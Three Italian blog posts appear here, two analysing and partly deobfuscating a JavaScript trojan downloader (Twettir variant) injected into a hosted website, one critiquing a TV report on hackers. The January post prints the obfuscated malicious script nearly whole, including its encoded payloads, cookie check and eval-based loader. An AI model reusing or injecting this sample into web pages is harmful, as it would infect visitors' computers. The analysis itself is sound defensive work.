05/04/2011

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac - Parte 2

Ecco la terza ed ultima parte dell'analisi relativa al codice JS malevolo iniettato sulla index di un sito che gestisco. Basandomi sulle osservazioni fatte in questo post, la prima cosa che mi è saltata in mente è stata quella di decodificare le variabili in percent encoding, tecnica utilizzata solitamente per le URL.

In particolare, le variabili che ho decodificato sono le seguenti:

var ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%"

che decodificata diventa:

var ca="function dcs(ds,es){ds=unescape%"

var cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

che decodificata diventa:

t=st+String.fromCharCode((tmp.

var st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

che decodificata diventa:

st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";

var cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

che decodificata diventa:

cz(cz){return ca+cb+cc+cd+ce+cz;};

var op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";

che decodificata diventa:

$a="dw(dcs(cu,14));";

var ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

che decodificata diventa:

charCodeAt(0)^('0x00'+es)));}}

var cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

che decodificata diventa:

28st=tmp='';for(i=0;i<ds.len";

var dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

che decodificata diventa:

dw(t){ca='%64oc%75me%6et.%77r%69te(%22';ce='%22%29';cb='%3cs%63ri%70%74 l%61%6egua%67%65%3d%5c%22j%61vas%63ri%70%74%5c%22%3e';cc='%3c%5c%2fscript%3e';window["e"+""+ "v"+"al"](unescape(t))};

Consideriamo ora la variabile cz:

cz(cz){return ca+cb+cc+cd+ce+cz;};

la quale diventa:

function cz(cz){

return "function dcs(ds,es) {

ds=unescape(ds);

st=tmp='';

for(i=0;i<ds.l%65ngth;i++) {

tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));

}

}"+cz;

};

E' facile notare come la tecnica utilizzata per offuscare il codice sia sempre la stessa, ovvero l'uso di una logica di programmazione piuttosto contorta e l'abuso del percent encoding.

A questo punto, cercando un po' in rete ho visto che fondamentalmente si tratta di una variante del codice malevolo JS/Trojan-Downloader.JS.Twettir.a, il quale, appena la pagina infetta viene visualizzata, contatta il server search.twitter.com richiedendo la lista dei trending topic della settimana. Questa lista, in aggiunta alla data corrente, viene utilizzata per generare dei nomi di dominio pseudocasuali (già registrati dall'autore del malware e calcolati dallo stesso mediante la medesima tecnica), i quali verranno contattati in automatico per avviare il dowload del trojan direttamente sul PC dell'utente.

Inutile dire che tale codice è stato iniettato sfruttando una vulnerabilità dei server di Aruba. Spero che adesso siano stati finalmente patchati.

Il post termina qui, a presto.

14:59 Scritto da: nazarenolatella in Sicurezza | Link permanente | Commenti (0) | Segnala | Tag: trojan, codice malevolo, aruba, js | OKNOtizie |  Facebook

17/02/2011

Servizio de "Le Iene" sugli hacker: alcune riflessioni

Tempo fa, durante uno dei rari momenti di relax davanti alla TV, mi sono imbattuto in un servizio de "Le Iene" in cui veniva intervistato un presunto hacker. Se non sapete di cosa sto parlando, date un'occhiata qui:

Ora, fondamentalmente le cose che vengono dette all'inizio sembrano piuttosto sensate e corrette. Mi riferisco alla definizione di hacker come qualcuno di estremamente curioso e capace, spinto solo ed esclusivamente dalla voglia di conoscere i sistemi in modo approfondito e dalla volontà di esplorare ambienti che dovrebbero restare ad eccesso limitato. Ciò implica anche il non voler danneggiare il sistema bucato, limitandosi ad osservarlo nella sua complessità senza intaccarne minimamente la struttura. Questa è la caratteristica peculiare degli hacker, per la precisione degli ethical hacker, tipologia che rientra pienamente nella schiera dei white hat.

Poi però il presunto hacker ammette di aver sviluppato un trojan per analizzare un pc bucato in precedenza... ed in questa pratica c'è ben poco di "etico". Altra affermazione che non mi convince: secondo lui, i virus vengono creati per lo più da ragazzini, spinti semplicemente da finalità ludiche. Sbagliato: ormai sviluppare trojan, virus, worm e malicious software in genere è diventato quasi un business, sia per le società di sicurezza che per coloro i quali vogliono sottrarre dati sensibili agli utenti (la Russian Business Network vi dice qualcosa?), come numeri di carte di credito, password, documenti altamente confidenziali, ecc.

Dopodichè, l'intervistato afferma che sarebbe buona norma criptare i file salvati sull'HD: correttissimo, anzi a tal proposito vi consiglio di utilizzare il software gratuito e multipiattaforma TrueCrypt. 

La cosa che mi lascia maggiormente perplesso, però, è la dimostrazione pratica di un "hacking". Viene infatti mostrato quanto il PC di un normalissimo utente possa risultare vulnerabile ad eventuali attacchi esterni. Ma andiamo con ordine.

Per prima cosa viene inviata alla vittima un'email provvista di allegato. Tale allegato sembrerebbe una normalissima immagine. In realtà, mediante un software sviluppato ad hoc (total binder) all'interno del file immagine è stato incapsulato un eseguibile. Una volta che il malcapitato di turno apre l'allegato, l'eseguibile (un comunissimo trojan horse) si installa in una cartella di sistema e, mediante lo scheduler di Windows, verrà avviato automaticamente al boot del sistema operativo. Fin qui sembrerebbe tutto semplice e quasi banale, ma affinchè un trucchetto del genere riesca devono verificarsi tutta una serie di situazioni concomitanti del tipo:

1) l'utente è così tanto naive da non sapere che gli allegati delle email provenienti da indirizzi sconosciuti non devono mai essere aperti;

2) il PC della vittima è sprovvisto di un antivirus, che gli segnalerebbe il file malevolo ancor prima di aprire l'allegato (chiamasi scansione della mail);

3) il PC della vittima è collegato ad Internet mediante un semplice modem e non attraverso un router. Basterebbe infatti un semplice NAT per fare in modo che il trojan, seppur installato, non riesca a comunicare con la rete pubblica e quindi con l'attaccate.

4) sul pc della vittima non è attivo alcun firewall, nemmeno quello integrato ai sistemi operativi di casa Microsoft.

Morale della favola: tale dimostrazione è solo una spettacolarizzazione di tecniche di cracking banalissime, usate per lo più dagli script kiddie di turno. Nel complesso, non dico che tale servizio sia un tipico esempio di disinformazione, ma poco ci manca.

A presto.

16:07 Scritto da: nazarenolatella in Sicurezza | Link permanente | Commenti (1) | Segnala | Tag: sicurezza, hacker, cracker, le iene, trojan, virus | OKNOtizie |  Facebook

21/01/2011

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac

In questo post ho riportato il codice Javascript malevolo iniettato sul server di Aruba che ospita uno dei siti che gestisco. Da un'analisi di tale codice sono riuscito a deoffuscarne alcune parti, semplificando notevolmente la compresione dello stesso. In particolare, la mia attenzione si è concentrata sulla variabile BKbk34b32, poichè su di essa vengono eseguite diverse operazioni. Infatti, come si evince dall'associazione:

var $a = BKbk34b32.replace(/98/g, "Z");

ogni pattern 98 presente all'interno della variabile precedentemente specificata, viene sostituito con una Z (ciò avviene per tutta la stringa BKbk34b32, grazie a /g, dove g sta per global).

Analizziamo adesso il seguente ciclo for:

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ )

che equivale a:

for(__fh=0; __fh < s.length; __fh++ )

proprio perchè la variabile adlan3r$oubw non è altro che una stringa costituita da un singolo carattere, ovvero e :

var adlan3r$oubw = "e";

mentre il carattere + viene utilizzato per concatenare tra loro caratteri e stringhe.

All'interno del ciclo for è possibile notare le seguenti istruzioni:

i = __fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%' }

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

che equivale a:

if(s.charAt(i) == 'Z') {

s(i) = '%'; }

else {

s(i) = s(i);

}

che in soldoni vuol dire: scansiona la stringa, se incontri una Z sostituiscila con un %, altrimenti lascia il carattere cosi com'è.

Infine, è interessante dare un'occhiata alla seguente istruzione:

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

che equivale a:

this.unescape(r)

Quindi, ricapitolando possiamo deoffuscare il contenuto della variabile BKbk34b32 seguendo i seguenti step:

var a = BKbk34b32.replace(/98/g, "Z");

var b = a.replace(/Z/g, "%");

var c = unescape(b);

E infine stampiamo la variabile deoffuscata mediante il codice:

document.write(c);

La variabile BKbk34b32 deoffuscata è la seguente:

ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";

dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";

cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;s{xpyz;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";

cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";

dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";

st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";

cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";

dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

cc="%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";

if (document.cookie.indexOf('rf5f6ds')==-1) {

function callback(x){

window.tw = x;

var d = new Date();

d.setTime(x["as_of"]*1000);

var h = d.getUTCHours();

window.h = h;

if (h > 8) {

d.setUTCDate(d.getUTCDate() - 2);

}

else {

d.setUTCDate(d.getUTCDate() - 3);

}

window.gd = d;

var time = new Array();

var shiftIndex = "";

time["year"] = d.getUTCFullYear();

time["month"] = d.getUTCMonth()+1;

time["day"] = d.getUTCDate();

if (d.getUTCMonth()+1 < 10) {

shiftIndex = time["year"] + "-0" + (d.getUTCMonth()+1);

}

else {

shiftIndex = time["year"] + "-" + (d.getUTCMonth()+1);

}

if (d.getUTCDate() < 10) {

shiftIndex =shiftIndex + "-0" + d.getUTCDate();}else{shiftIndex = shiftIndex + "-" + d.getUTCDate();}document.write("" + "");

}

function callback2(x) {

window.tw =x;

sc('rf5f6ds',2,7);

eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

document.write($a);

}

document.write(" " + "");

}

else {

$a=''

};

function sc(cnm,v,ed) {

var exd=new Date();exd.setDate(exd.getDate()+ed);document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();

};

Nei prossimi giorni proseguirò con un'ulteriore analisi e deoffuscamento del codice. A presto.